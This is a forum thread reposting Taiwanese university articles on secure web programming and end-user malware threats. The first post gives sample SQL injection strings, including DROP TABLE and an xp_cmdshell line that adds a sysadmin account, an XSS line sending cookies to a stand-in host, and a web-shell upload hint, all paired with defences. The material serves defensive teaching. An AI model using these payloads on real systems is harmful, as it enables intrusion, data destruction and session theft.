RSS   



  可打印版本 | 推薦給朋友 | 訂閱主題 | 收藏主題 | 純文字版  


 


 
主題: [其他] [轉貼] 網站程式安全寫作   字型大小:||| 
jocosn
白銀驢友
等級: 15等級: 15等級: 15等級: 15等級: 15


今日心情

 . 積分: 1386
 . 精華: 2
 . 文章: 2945
 . 收花: 9537 支
 . 送花: 3671 支
 . 比例: 0.38
 . 在線: 1295 小時
 . 瀏覽: 19041 頁
 . 註冊: 7241
 . 失蹤: 1243
#1 : 2009-5-10 11:37 PM     只看本作者 引言回覆

作者: 張傑生 / 臺灣大學計算機及資訊網路中心作業管理組

透過網路進行網購、網拍、賣買股票、基金或其它線上交易的網站安全嗎?攸關個人資料與財務金融相關的網路安全,設計人員該如何進行程式撰寫?這些都是相當值得探討的課題。必須提醒各位讀者的是,本文所敘述之各項範例,僅提供程式設計人員自我檢查並加以防範,切勿用在犯罪行為之上。


前言
隨著網際網路日漸普及,可以透過網路的服務也越來越多:從日常購物到銀行轉帳,甚至連違規罰單繳納也在服務之列。然而在使用這些便利服務的同時,卻不得不令人擔憂輸入的帳號密碼、信用卡號是否有可能遭到竊取,以及提供服務的網站的安全性是否值得信賴。身為網路服務提供者,如何提升網站安全性,保護使用者免於恐懼,乃是攸關服務提供者聲譽的首要任務。

根據SANS網站每年所公布的Top Security Vulnerabilities統計[1],我們可以發現過去幾年所發生的資訊安全事件,許多都是肇因於作業系統(Windows、Linux)本身,或者是網站伺服器(如IIS)程式的安全漏洞,造成駭客有機可乘,進而入侵破壞。然而經過無數次的挑戰與磨練,大部分能夠存活下來的軟體,都已經具備相當程度的安全等級。再加上Firewall與IDP等硬體式防護設備的盛行,因此近幾年所發生的資訊安全事件,反而多是網站本身的程式設計缺失所造成。由此可見,決定了網站未來對於惡意攻擊的防禦能力,取決於發展者是否具有良好的安全程式寫作觀念與技巧。

常見程式漏洞
以下我們將介紹幾種常見的網站程式安全漏洞:

(一))危險的參數傳遞方式
由於HTTP protocol先天設計的限制,所有的連線都視為彼此獨立,這也被稱為所謂stateless的特性。因此當頁面與頁面之間需要傳遞資料時,方法之一就是利用FORM裡面的INPUT欄位。如果遇到一位新手程式設計師,利用GET方式傳遞參數,撰寫一套學生資料管理系統,那麼可能會發生以下狀況:

    登入網頁: http://test.ntu.edu.tw/login.php

    詢問帳號密碼,通過認證後,列出系統功能列表。

    1. 加退選:   http://test.ntu.edu.tw/course.php?id=b96123456

    2. 成績查詢: http://test.ntu.edu.tw/query.php?id=b96123456

    3. 地址修改: http://test.ntu.edu.tw/address.php?id=b96123456

於是聰明而又好奇的學生,馬上就會開始更改網址,查詢全班同學的成績。只要系統沒有針對使用者權限更進一步檢查,很容易就讓這種伎倆得逞。事實上,過去許多購物網站,也常犯此種錯誤,只要你猜得到別人的帳號,也可以用類似技巧,翻閱他的購物清單,滿足偷窺樂趣。

即使是有幾年工作經驗的工程師,也可能誤以為只要將參數傳遞的方式,由GET改為POST,即可解決此類問題。然而實情卻是,只要使用者安裝了Firebug[2]或是Fiddler[3]這類Debugging Tool,所有的參數傳遞全都一覽無遺,甚至使用者還可即時恣意修改參數內容。因此,只要程式端沒有做好應有的權限檢查,這種情況根本無法徹底解決。


(二)檔案上傳功能所衍生的諸多漏洞
為了提供網路硬碟、相簿或者是檔案分享、交換等功能,許多網站提供使用者上傳檔案的功能。然而這種功能通常就是另一個災難的開始。以上傳來說,如果網站沒有特別指定專門存放暫存檔案的區域,那麼很有可能造成使用者有意或無意覆蓋掉既有檔案,或是其他使用者的檔案。例如當大家都同時上傳homework.doc時,就很可能發生這種情況。更糟的情形是,如果系統以較高權限的帳號執行網站程式,而上傳的功能又沒有做檢查或限制,一旦使用者上傳設定檔或或密碼檔覆蓋原有檔案,將會造成系統停擺外或更嚴重安全漏洞。   

除此之外,如果系統提供使用者瀏覽既有檔案的功能,又沒有做好權限控管與輸入參數檢查,就可以藉由參數置換方式,取得別人的資料,例如http://test.ntu.edu.tw/viewfile.php?filename=homework.doc

從以往的經驗來講,老師助教為了批改方便,通常會要求學生上傳檔案時,必須依照固定格式編碼,例如:hw1-b96123456.doc。於是乎,機靈的同學就知道該如何取得別人的作業了,如果指定的是設定檔或是密碼檔的時候,那就更嚴重了。一般正常系統對於檔案存取權限的設定,會嚴格拒絕非擁有者修改,然而卻會允許其他使用者閱讀。因此上述技巧,很有可能讓有心使用者輕易參觀系統內的所有檔案。值得一提的是,通常網站目錄下所有檔案的擁有者,會設定成跟網站程式執行者相同,否則至少允許網站程式執行者讀取,以利程式檔及設定檔之讀取或線上修改。如此一來,寶貴的程式碼,甚至設定檔內儲存的資料庫帳號密碼,都有可能因此遭竊。   

此外還有一種更為嚴重的情況:如果使用者上傳網頁程式檔,而系統卻讓這個檔案具有在伺服器的執行權限。那麼至此我們可以做出結論,該網站已經徹底淪陷,未來使用者可以予取予求,毫不受限。假設先前使用者已經上傳過homework.doc,並且透過猜測與觀察,得知網站都會把上傳檔案放在某一目錄,那麼我們可以試著嘗試瀏覽以下網址http://test.ntu.edu.tw/path/homework.doc,如果瀏覽器可以成功顯示該檔案內容,那麼接下來如法炮製,上傳file.php,確認瀏覽器依舊可以顯示執行結果。其後file.php的內容就可以天馬行空發揮,揮灑空間無限寬廣。提示:phpinfio(),passthru(),system()。     


(三)SQL Injection
近來當紅的網站攻擊手法莫過於SQL Injection[4],除了許多網站都潛藏此種缺陷,易於遭受入侵破壞之外,更因為這些案例往往伴隨機密資料外洩,以及並造成影響網站未來營運的嚴重後果。

網站為了提供會員註冊、討論區、電子商務等雙向互動功能,通常將資料儲存於資料庫,資料庫也因此成為各方駭客關注的焦點。SQL Injection通常是利用網站程式疏於檢查的弱點,嘗試輸入資料庫控制字元(meta-characters),藉以跳過網站原本設計的檢查,進而盜取、修改資料庫內容,入侵資料庫系統。舉例來說,一般網站為了提供使用者個人化設定,大都會要求使用者以帳號密碼登入。如前面所言,這些資料一般會儲存於資料庫,在使用者輸入帳號密碼後,然後用以下的程式組成SQL 命令做確認
SELECT * FROM users WHERE username=’$_POST[username]’ AND password=’$_POST[password]’;

在這個例子中,使用者輸入的資料 $_POST[username] 被原封不動地採用。如果有人惡意地在帳號的欄位輸入’OR 1=1 –-,那麼SQL指令會變成
SELECT * FROM users WHERE username=’’ OR 1=1–- AND password=’’;

由於–-之後的字串被視為註解不會執行,也因此上述指令等同於:
SELECT * FROM users WHERE username=’’ OR 1=1;
OR 1=1會造成WHERE的右半邊條件永遠成立,所以等同於
SELECT * FROM users;

由於一定會有的資料回傳,至此入侵者就通過身份驗證,進入會員專區。

跳過帳號密碼檢查的身份認證畫面,只是入侵行為的開端。接下來可以利用trail and error的方式,嘗試於網頁各個FORM輸入奇怪的數字、數值與文字,想辦法讓程式發生錯誤,進而顯示包含詳細錯誤訊息的debug畫面。透過這些寶貴資訊,可以讓駭客拼湊出資料庫table schema,瞭解每個欄位名稱屬性。最後,仿照上述的攻擊方法,將帳號欄位的輸入字串改為:
‘; INSERT INTO account(username,quota) VALUES(‘john’,’1000’);
‘; UPDATE product SET price=’100’WHERE id=’5001’;

即可恣意新增、修改資料庫內容,獲取不法利益。如果資料庫的權限設定鬆散,甚至可能允許更嚴重的破壞行為,例如:
‘; DROP TABLE users;
‘; DROP DATABASE web;
‘; SHUTDOWN;

        從以往的案例來看,最嚴重的情況是,網站程式師貪圖方便,以管理者帳號sa進行資料庫連線,而資料庫端(MS SQL)採用預設安裝,並沒有特別做任何限制。於是惡意駭客就可以透過SQL Injection方式,呼叫資料庫的延伸預存程序(extended stored procedures),以系統管理者身份,在資料庫主機執行程式,最常見的procedure即為xp_cmdshell。透過以下程式碼,可以輕易在資料庫伺服器新增一組badguy帳號,並允許其透過遠端連線,登入主機。

' ; EXEC MASTER..XP_CMDSHELL 'net user badguy /add'
    EXEC MASTER..SP_GRANTLOGIN 'MSSQL\badguy'
    EXEC MASTER..SP_ADDSRVROLEMEMBER 'MSSQL\badguy','sysadmin'--

儲存企業營運資料的資料庫可說是企業命脈之所繫,SQL Injection帶來的威脅實非等閒,必須謹慎正視之。



Cross Site Scripting(XSS)及安全寫作建議
如果造訪的網站是由知名企業所提供,是否就不至於發生資料遭竊或者是被植入後門程式?答案是否定的。惡意駭客善於利用人們的信賴,嘗試於正常網站插入惡意程式碼,故意讓一般使用者在不知情的狀況下,點選該連結,甚至無須點選即自動連線執行,進而竊取使用者資料。這種攻擊方式,被稱為Cross Site Scripting[5],簡稱XSS。駭客最常利用的網頁功能,包括拍賣網站、貼圖網站、新聞評論及blog的留言版。主要原因包括這些網頁具備高人氣特性,匯集眾多人潮,並且允許使用者輸入意見交流。為了提高使用者意願,鼓勵參與討論,這些留言版通常僅象徵性利用圖形辨識方法,進行簡單驗證,或者允許新註冊使用者流言,有的甚至完全不做身份驗證。如此一來,有心人士就可以在留言版大作手腳,傷害隨後造訪瀏覽的無辜使用者。

假設留言版被人輸入了以下程式碼:
<iframe src= "javascript:document.location.href='http://www.ntu.edu.tw';"></iframe>
那麼後續的使用者一旦瀏覽網站,就會立即自動在網頁的某個區塊中,看到台灣大學首頁。假設當初填寫資料的人只是出於惡作劇心理,或者是商業廣告宣傳手法,那麼一般使用者除了被騷擾以及佔用無謂時間外,至少沒有受到任何實質傷害。然若以上連結網址被改成某惡意網站程式,那麼所有後續瀏覽的使用者,都會在不知情的狀況下,執行該惡意程式。如果系統的防毒軟體沒有即時發揮攔阻功效,後果可能就是系統中毒,或者遭到植入後門程式。

另一種XSS攻擊方式,則是嘗試竊取使用者身份,以便未來冒充使用者,牟取不法利益。舉例來說,在拍賣網站的交易模式下,最怕遇到有人冒充買賣雙方,拐騙對方將款項匯至其他帳戶,或者是將商品寄到其他地址。許多網站為了提升使用者便利性,避免每次造訪都需要重新輸入帳號密碼,因此會採用client side cookie儲存使用者身份,以利下次連線至網站時取代身份認證。可以想見,cookie便成為駭客垂涎的肥肉。假設駭客嘗試將以下java script程式碼藏在某拍賣網站的留言版內:
<script>document.location.href=’http://bad.site.com/steal.php?cookie=’+document.cookie;</script>
一旦買賣雙方開啟留言版網頁,上述程式碼將自動執行,相關的cookie資訊就會被送往遠端的惡意網站儲存,未來使用者身份則很可能遭到盜用而不自知。更慘的是,許多頑固的使用者還會以絕對沒有透露密碼為由,不相信帳號已經遭竊。

更進一步的XSS應用,必須利用網站登入網頁的程式缺失,進而盜取使用者的帳號密碼。假設某拍賣網站甚至某銀行網站的登入頁面,對於使用者輸入的帳號、密碼欄位沒有特別過濾、處理,那麼在常見的帳號密碼錯誤處理情況下,網頁為了方便使用者,會直接將使用者輸入的帳號字串顯示出來,例如:testuser,您的密碼錯誤,請重新回憶。倘若惡意使用者發現在帳號欄位輸入<script>alert(‘hello’)</script>,而網站會忠實地在登入的下一頁跳出’hello’視窗,那麼這個網站的登入程式很可能適合進行XSS攻擊。常見的作法是,影響原本程式碼的FORM部分,插入惡意java script程式,利用onsubmit function,在submit帳號密碼時,會先把輸入的帳號密碼傳送一份到遠端惡意網站,然後才進行真正的登入動作。相同地,對於使用來說,原本的網站仍舊可以正常登入,正常使用。然而完全在不自覺的情況下,帳號密碼卻已經外洩。這種XSS攻擊應用,雖然可以獲得的資訊價值較高,然而成功的門檻較高,而且需要藉助其他方法,才能誘騙使用者click假造的link。時下流行的釣魚網站、釣魚信件,就是利用人們的好奇或貪婪,引誘使用者click某些圖片,之後瀏覽器就會自動轉向有問題的網址,等候使用者上鉤。

為了解決部分XSS與釣魚網站問題,許多新版瀏覽器或多或少都有加入些許偵測機制,希望能夠透過預警機制,降低使用者受害機會。然而道高一尺,魔高一丈,XSS與釣魚網站使用的技術與創意也持續在演化、進展,因此在可預見的未來,仍舊難以獲得有效的全面性解決之道。

安全寫作建議
看完以上常見程式漏洞,接下來我們將提出幾點建議,供程式開發人員參考。

使用加密連線傳輸資料
透過https(SSL、TLS)加密連線方式,確保所有傳輸內容不會遭到攔截、竊聽甚至竄改,達到安全基本要求CIA規範中的Confidentiality與Integrity,可以有效消弭man-in-the-middle attack、session hijack或session re-play attack發生的可能性。雖然這種防護措施看起來與程式寫作無關,但是我們認為,程式設計人員規劃網站建置的第一步,必須向系統管理人員提出要求,確認伺服器支援https加密連線,以確保網站未來的營運安全。

最低權限(least privilege)政策
只要是上線運作,提供服務的系統,無論採用何等銅牆鐵壁般的嚴密防護,終究難以避免遭受惡意人士的嘗試滋擾。當網站不慎遭受入侵成功時,如何有效降低傷害,做好損壞控管,災害隔離,這才是檢驗系統是否有事前規劃資訊安全防護的最佳實證。最常被廣為運用的策略,即為最低權限政策。利用低權限帳號執行某些工作,可保障一旦出問題時,不至於影響其他帳號、其他工作,甚至網站本身以及作業系統之運作。以下列出幾點實務上的具體作法:

利用獨立帳號,例如:www或nobody,執行http daemon。絕對避免使用root身份執行。未來若遭惡意執行程式,其執行身份也將是該獨立帳號。因此損害範圍可侷限在該帳號之管轄區域,例如網站本身目錄。至少不至於讀取系統機密檔案,或者覆蓋任何重要檔案。

設定網站程式目錄及檔案的擁有者(例如:root、user1)不同於上述網站程式的執行帳號(例如:www、nobody)。如此即便發生入侵事件,由於駭客取得的身份為網站程式的執行帳號,因而無法竄改或覆蓋網站程式,至多僅能利用讀取方式竊取資料,如此可有效降低網站受害程度。

嚴格設定database帳號權限。如果沒有修改資料必要,僅允許SELECT權限。並且檢討給予DELETE權限之必要性。尤其絕對不能以系統管理者身份(例如MSSQL之sa)連接資料庫,以避免遭受SQL Injection或其他入侵攻擊時,損害程度一發不可收拾。

資料庫端之安全設計
規劃table schema,依照資料特性分配不同table,並分別定義存取權限。未來僅允許網站程式寫入某幾個table,例如:使用記錄與購物列表,以降低資料遭誤寫或竄改之威脅。

避免以DELETE方式修改資料。例如當顧客想要取消某一筆訂單時,建議採用INSERT一筆取消訂單方式為之。當顧客想要修改一筆訂單時,建議採用INSERT一筆取消訂單,然後再INSERT一筆新訂單方式處理。若上述方式有執行困難,再考慮以UPDATE註記某欄位方式進行,但務必以其他方式留下記錄,以利追查。在資料庫端所給予之存取權限,可以嚴格侷限於INSERT或UPDATE。如此不但方便未來查詢顧客更改歷程,也可以有效避免table遭到不慎或惡意清除之威脅。

以store procedure方式存取table,取代直接執行SQL指令。通常有許多重要且敏感的table是無可避免必須接受更新,例如顧客的購物清單。比較安全的建議作法是,預先設計資料讀取及更新的store procedure,未來網站程式需要讀取或更新table時,直接呼叫store procedure,而不是以SQL指令進行INSERT、SELECT。只要store procedure之設計足夠嚴謹,將可有效防護table之安全性,提升資料正確性,降低風險。

如果是MS SQL產品,除非必要,否則請務必關閉所有延伸預存程序(extended stored procedures)支援,以避免遭惡意攻擊。根據經驗,對於一般網站來說,這些功能幾乎鮮少被使用,若沿用預設啟動的設定,只會無端增加系統安全風險,得不償失。

利用Server side之Session功能傳遞參數
藉由先前所描述之安全漏洞可以得知,許多問題的根源都是來自不安全的參數傳遞方式,其中尤以GET為最。然而目前成熟的網頁程式環境,包括:ASP.NET與PHP、Java等,都已經提供server side的session功能。由server side統一進行session建立、檢查、刪除等維護工作,可以有效降低人為疏失造成的安全漏洞,並且大幅簡化程式設計人員的負擔。未來在程式開發時,只要盡量將頁面之間的變數傳遞改用session方式,即可免於參數遭使用者惡意竄改之威脅。舉例來說,使用者通過帳號密碼驗證後,即可將使用者名稱存放於server side的session variable中,未來如果需要進行成績查詢、地址更改等功能,對應的query.php及address.php程式可以直接從session variable中取得使用者名稱,而不必再利用GET、POST等方式傳遞資料,杜絕因為參數遭竄改所引發之安全漏洞。



[如果你喜歡本文章,就按本文章之鮮花~送花給作者吧,你的支持就是別人的動力來源]
本文連接  
檢閱個人資料  發私人訊息  Blog  快速回覆 新增/修改 爬文標記
jocosn
白銀驢友
等級: 15等級: 15等級: 15等級: 15等級: 15


今日心情

 . 積分: 1386
 . 精華: 2
 . 文章: 2945
 . 收花: 9537 支
 . 送花: 3671 支
 . 比例: 0.38
 . 在線: 1295 小時
 . 瀏覽: 19041 頁
 . 註冊: 7241
 . 失蹤: 1243
#2 : 2009-5-10 11:44 PM     只看本作者 引言回覆

用戶端資訊安全1--正在流行的惡意程式
作者:李美雯 / 臺灣大學計算機及資訊網路中心資訊網路組程式設計師

想了解網路世界裡的惡意程式與駭客的最新手法嗎?想了解如何保護個人的機密資料不外洩嗎?在網際網路時代,您不可不知的資訊安全。
 

前言
網際網路(Internet)應用的多樣化,吸引了千萬人上網。然而大部分使用者(用戶)對電腦系統的管理知識不足,經常造成個人電腦中毒或被入侵,成為發送廣告信或發送攻擊封包的禍首。除此之外,還可能被植入後門或木馬程式,讓駭客除了可以竊取電腦中的機密資料,還可以用來作為入侵其他電腦的跳板。一般電腦用戶想要妥善保護自己,務必加強個人電腦安全管理的能力,並培養正確的電腦使用習慣,除了保護個人的機密資料不外洩之外,更重要的是避免被駭客利用,一不小心還有可能吃上官司呢。本文除了介紹駭客的最新手法,同時也提供最佳個人資訊安全守則。



正在流行的惡意程式
隨著時代的進步,駭客的手法也隨之更新。早期是病毒或巨集病毒,2000年進入了蠕蟲快速感染與網路攻擊的時期,接下來是木馬與後門程式的惡夢開始,隨之而來的還有Rootkit、Botnet 、Spyware以及社交工程等。我們可以統稱這些為惡意程式(Malware),網路世界裡的惡意程式種類一直不斷翻新。接下來介紹目前正在流行的惡意程式,讓使用者了解這些惡意程式的運作原理,並提供預防與修正的建議。

1. 新型態的網路犯罪
根據刑事警察局科技犯罪防制中心前主任李相臣表示,2006年年底興起了新的網路犯罪手法,包括近二十家網路銀行、拍賣網站及航空公司網站都受害。已知上千筆客戶資料外洩,金錢上的損失是可想而知的。這類型的犯罪流程大致如下:

(1)   申請類似的網站名稱
第一步需要先申請一個與網路交易網站類似的名稱。假設「www.papalbank.com.tw」 是一家銀行的網站名稱,由於英文字母l與數字的1很相似,所以如果申請一個網站名稱為”www.papa1bank.com.tw” ,要一般人立即分辨出偽造的網站名稱,還真難呢。而國內申請網域名稱的組織是TWNIC台灣網路資訊中心,如果TWNIC能夠在個人或公司申請網域名稱時能夠多加把關,拒絕與銀行網站、拍賣網站、甚至是報稅網站過於類似的網域名稱申請,第一道防線就可以守住了。

(2)   製造釣魚網頁
當類似的網站名稱申請好了,接下來需要製作與網路交易網站外觀相同的釣魚網頁,因為網頁看起來是一樣的,完全無法分辨真偽。

(3)   購買關鍵字
當類似的網站名稱申請好了,釣魚網頁也製作完成,接下來就等不知情的用戶上勾了。前幾年的犯罪模式是藉著email傳遞「為了安全考量」的假訊息,建議登入網站修改帳號密碼,騙人點選釣魚網頁以取得用戶的帳號與密碼。新型態的犯罪模式則是向國內知名的入口網站購買假網站的關鍵字搜尋。例如,當我們在入口網站輸入搜尋xx銀行,結果竟然第一個找到的是假網站。不知情的用戶上勾了,直接點選假網站的網頁連結。當個人或公司購買關鍵字時,如果國內知名的入口網站能夠多加注意,拒絕接受與網路交易網站名稱類似的申請,也許可以守住第二道防線了。

(4)   竊取密碼,犯罪獲利
當不知情的用戶輸入了帳號與密碼,犯罪集團開始犯罪獲利。



2. 惡意網站連結
「為何我想連上校內的xx網站被導向一個大陸網站?」,是我的電腦有問題還是xx網站中木馬了呢?但是,校內別的單位連xx網站卻又正常。為何整個區域網路的網路速度變得非常慢甚至於不通呢?難道這一切都是因為區域網路中毒了嗎?

其實這不是區域網路中毒,而是區域網路中的某一台問題主機被植入木馬程式所造成的。該問題主機先對整個區域網路進行ARP Spoofing(實體地址解析協議欺騙),再利用iframe的技術讓區域網路的所有主機向外連到具有惡意程式的網站。

說明ARP Spoofing行為之前我們需要先了解什麼是ARP。ARP(Address Resolution Protocol)是位址解析協定,也就是位址轉換的協定,ARP負責將IP位址與MAC位址進行轉換。封包在乙太網路中傳輸只認得MAC位址,ARP需要將封包中目的端的IP位址轉換成目的端的MAC位址,管理這兩種位址對應關係的是ARP表。如果封包目的端不在區域網路中,該封包會被傳送給路由器(router),也就是主機的預設閘道(Default Gateway)。

近期發生的ARP Spoofing的運作模式為問題主機對區域網路發送大量的ARP封包,聲稱自己是預設閘道,區域網路中的每台主機紛紛更新自己的ARP表,將問題主機的MAC位址記錄為預設閘道。問題主機同時也欺騙路由器,聲稱自己代表所有的主機,路由器將問題主機的MAC位址紀錄為區域網路中所有的主機。接下來,當區域網路中任何一台主機要連結xx網站時,立刻被問題主機轉址到大陸的網站,大陸網站利用主機的系統漏洞植入後門程式。如果駭客結合了iframe (inline frame)手法,插入一行程式碼或圖片,但是將frame的高度與寬度設為0,當使用者想連接xx網站時,連結xx網站的同時也連上具有惡意程式的網站,使用者在完全不知情下被利用主機的系統漏洞植入木馬程式。

解決ARP Spoofing的問題,請參考以下建議:

(1)如果使用IE瀏覽器,請務必做好所有瀏覽器的修正程式。另外一個選擇是使用其他瀏覽器,如Mozilla Firefox與Opera。

(2)IP位址與MAC位址的綁定(binding)工作,在交換器(Switch, Router)和客戶端(個人電腦)都要做才行。

(3)網管人員必須保存一份內部網路的IP位址與MAC位址對照表,當ARP Spoofing 發生時,可以很快找到問題主機。

(4)網管人員也可以監控區域網路ARP的封包數量,當ARP Spoofing發生時,區域網路充斥著大量的ARP封包。

 

3. P2P軟體影響資訊安全
說明P2P軟體影響資訊安全之前,讓我們了解一下什麼是P2P傳輸。P2P (Peer to Peer)是點對點通訊傳輸工具。傳統HTTP/FTP 傳送檔案方式,採取用戶與伺服器的通訊模式(Client-Server Mode)。而 P2P 檔案傳輸則是採取用戶與用戶的通訊模式(Client-Client Mode),不需要從特定的伺服器下載檔案,並且P2P傳送檔案的時候,可以同時連接多個下載點,分散式下載檔案,檔案下載的同時也提供他人下載。大家比較熟悉的P2P軟體有BitTorrent、eDonkey、GnuTella與Foxy。

P2P軟體對資訊安全的影響,綜合歸納以下幾個重點:

(1)P2P軟體本身的漏洞,容易造成駭客入侵。

(2)P2P工具可能被惡意人士放置木馬後門程式、間諜軟體與病毒蠕蟲。

(3)使用P2P軟體時,誤將本機所有目錄開放,讓他人可共享主機上的所有檔案。

(4)P2P 流量佔用大量網路頻寬,影響其他使用者的網路速度。

(5)使用P2P下載影音檔案,多半是有版權的檔案,容易造成侵權行為。

P2P軟體影響資訊安全的實際案例不勝枚舉。例如,報載96年2月底台北縣某位警員因使用Foxy,造成國家元首車隊路線的道路警衛資料外洩;同年4月13日刑事局發現警方9個單位的筆錄資料,因為警員使用Foxy造成資料外洩。這些事例都反應使用Foxy的高度危險性。使用P2P軟體容易造成使用者帳號密碼、公司或政府的機密資料、公司企劃案、學生成績與個人資料、學術研究報告、學校試卷、學術論文等,都可能被他人透過P2P軟體從網路上搜尋到。然而P2P工具一直受到廣大使用者的喜愛,每天有上百萬使用者以及難以計數的資訊透過P2P軟體在網路上進行交換,資訊安全受到高度的威脅。



4. 盜遊戲寶物或金幣
時代真的改變了,各縣市警察局除了偵辦刑事案件之外,現在還多了一樣,需要協助偵查遊戲寶物或金幣的失竊。目前已知,線上遊戲是惡意程式攻擊的主要目標,其中天堂與魔獸世界是最常被鎖定盜取寶物或金幣的遊戲。

該如何防範呢?個人必須養成正確的電腦使用習慣,請參考「個人資訊安全守則」。除此之外,最好避免買賣遊戲寶物與遊戲帳號,以免承擔不必要的風險。

再者,別以為自己不玩遊戲,警察就絕對不會找上門。目前看到不少案例因為個人主機防護不當,被植入木馬後門,盜取他人遊戲寶物或金幣。由此可見,保持正確的個人電腦使用習慣是防範問題的根本之道。



5. 隨身碟病毒
早期使用3.5吋軟碟(Floppy)儲存資料,當時很容易因複製資料而感染病毒,後來由於要複製的檔案越來越大了,使用軟碟傳遞資料的機會也相對減少了,這類型的病毒平息了很長一段時間。這幾年隨身碟不斷推出高容量儲存空間,讓大家可以隨身攜帶資料與人分享,造成隨身碟病毒也隨之熱絡了。除了病毒之外,駭客也可能將惡意程式寫入隨身碟中,可以控制受害者的電腦。隨身碟的種類包含,USB隨身碟、記憶卡(SD, MMC, XD, MS)以及MP3 player。

當使用者將隨身碟接上一台中毒的電腦作存取的動作,然後再將隨身碟接上自己的電腦時,卻無法點開隨身碟,中毒了!幸運的話,也許防毒軟體會跳出來顯示中毒的訊息,依照指示處理。如果遇到新型的病毒,防毒軟體無法辨識,也許整台主機的硬碟都動彈不得,就必須使用手動處理了。

使用隨身碟的建議:

(1) 請購買具有防寫入開關的隨身碟。如果在他人電腦上使用隨身碟時,請記得切換到防寫入的模式,才不至於中毒。

(2) 關閉系統中Autorun(自動執行)功能。當隨身碟中毒時,不會自動執行隨身碟上的病毒。關閉Autorun功能的程序,請在「開始」中的「執行」輸入gpedit.msc,開啟了「群組原則」,在「電腦設定」中的「系統管理範本」中的「系統」選擇啟用「關閉自動播放」,並選擇停用所有磁碟機即可。日後要開啟行動碟或光碟時,需要從檔案總管中開啟,雖然不太方便,但是比起中毒所冒的風險,還算值得了。



6. Internet Messenger病毒
IM(Instant Messenger)包含了MSN, Skype, Yahoo即時通, QQ, ICQ, AIM..等。使用者會突然收到好友名單中傳來的訊息,如「傳送檔案xxx.zip」,如果點選下載檔案,立刻被植入惡意程式,接著繼續感染你的IM朋友。或者你會收到一段話,然後附上連結網址,例如,「我朋友最近買了這台相機,我也想買耶,請給我一點意見吧 http://www.camera.com/sample.exe」。從這段文字敘述很難看出異樣,大多數人會點選所附連結,結果就被植入惡意程式了。如果多留意一下附檔名.exe或.scr ....也不難看出一些端倪。

 

結語
資訊安全的認知是需要靠時間慢慢累積的,建議大家能都從基本做起,養成良好的電腦使用習慣。至於駭客的最新手法,請隨時注意最新的資安訊息,日後我也會負責彙整資料,提供給大家參考。



[如果你喜歡本文章,就按本文章之鮮花~送花給作者吧,你的支持就是別人的動力來源]
本文連接  
檢閱個人資料  發私人訊息  Blog  快速回覆 新增/修改 爬文標記
jocosn
白銀驢友
等級: 15等級: 15等級: 15等級: 15等級: 15


今日心情

 . 積分: 1386
 . 精華: 2
 . 文章: 2945
 . 收花: 9537 支
 . 送花: 3671 支
 . 比例: 0.38
 . 在線: 1295 小時
 . 瀏覽: 19041 頁
 . 註冊: 7241
 . 失蹤: 1243
#3 : 2009-5-10 11:47 PM     只看本作者 引言回覆

用戶端資訊安全2--個人資訊安全守則

1. 定期更新系統修正程式
駭客利用作業系統的漏洞,入侵有漏洞的主機,進行破壞或攻擊其他主機的工作。駭客製造惡意程式的速度是愈來愈快了,所以當公佈系統漏洞時,使用者應該儘快更新Windows或其他系統的修正程式,否則電腦將面臨病毒蠕蟲與木馬後門攻擊的風險。
使用者可以利用Windows系統或其他系統的自動更新功能,自動掃描更新項目。

2. 安裝防毒軟體並更新病毒碼
請使用者安裝防毒軟體。安裝防毒軟體之前必須先移除原先舊的防毒軟體,安裝成功之後,立刻上網更新病毒碼。更重要的是經常更新病毒碼,最好設定工作排程,於每天的某一時間連上防毒公司下載最新病毒碼,也可以設定時間定時進行全機掃瞄。千萬不要以為安裝好幾套防毒軟體就可以百毒不侵。

3. 啟動系統預設的防火牆或安裝個人防火牆
防火牆可以監視與限制在使用者電腦與網路或網際網路之間流通的資訊。提供一條界線,防止駭客由防火牆之外,未經使用者的同意就嘗試存取使用者的電腦。建議使用者可以啟動系統預設的防火牆,或者安裝口碑佳的個人防火牆。

4. 主機必須設定使用者帳號與密碼
使用者的主機必須設定登入的帳號與密碼(當使用者完成開機動作後,需要輸入使用者的帳號與密碼才能使用該電腦),否則非常容易被駭客入侵竊取資料或植入後門程式。
如果設定好主機的登入帳號與密碼,還需要將主機預設的Administrator帳號更改為其他名稱,以防駭客利用工具破解密碼。密碼長度至少8個字元以上,其間夾雜數字或特別符號為佳。

5. 設定Windows檔案資料夾共享的權限
許多使用者習慣開啟主機上資料夾的共享權限,方便其他使用者可以存取檔案,一旦被有心人士發現後,會在共享的資料夾中放入木馬後門程式,進而遠端遙控該主機。除此之外,蠕蟲也利用網路芳鄰資料夾共享,散播有病毒或蠕蟲的檔案。
請使用者盡量不開啟檔案資料夾的共享,如果一定要開啟共享功能,也必須做到檢測登入者的帳號與密碼。當其他使用者取得了共享的檔案之後,應該立即關閉該資料夾的共享功能。

6. 不隨意開啟郵件的附加檔,並且關閉郵件預覽功能
藉著使用者開啟含有病毒或蠕蟲的附加檔散播病毒蠕蟲。多數是檔案型態為. bat, .com, .cmd, .exe, .pif, .scr, .zip之附加檔。請使用者不要隨意開啟郵件的附加檔,即使寄件者是認識的人,也有可能是偽造的。
有些問題郵件沒有附加檔,而是利用瀏覽器的漏洞。如果使用者開啟郵件預覽功能,點選病毒信時隨即帶出瀏覽器,連結到某個特定網頁,下載惡意程式。建議使用者關閉郵件的預覽功能。

7. 不以郵件寄件者名稱判斷郵件的安全性
早期我們建議使用者不開啟來歷不明郵件的附加檔,但是後來發現問題郵件的寄件者卻都是我們所認識的親朋好友,其目的是想讓收件者疏於防備。至於如何得知問題郵件的真正來源,使用者可以從郵件的mail header中寄件者的IP位址來判斷。

8. 不安裝來歷不明有版權的軟體
當許多使用者需要使用某些軟體是要花錢購買時,很可能到internet上搜尋可以免費下載的網站,或者使用P2P軟體下載,也很可能以低廉的價錢購買大補帖。取得這些免費或者是低廉的軟體所需付出的代價就是,很可能木馬後門程式也隨著軟體的安裝,被植入使用者主機了。

9. 切勿安裝不信任網站(無公信力網站)的憑證
有時候使用者進入某些網站時,會出現一個要求使用者安裝該網站提供的憑證,許多人習慣會選擇同意安裝憑證。原則上,對於具有公信力的網站所提出的憑證,如臺大計資中心、微軟公司、Yahoo、Google..等網站,使用者是可以同意安裝該網站提供的憑證。如果不小心同意安裝不具公信力網站的憑證時,很可能被植入木馬後門程式。

10. 不使用P2P傳輸軟體
已知P2P傳輸軟體嚴重影響資訊安全,使用者應拒絕使用P2P傳輸軟體,以避免個人資料外洩。更不要使用P2P軟體傳輸侵權作品,一旦遭人檢舉,有可能面臨高額的民事賠償。

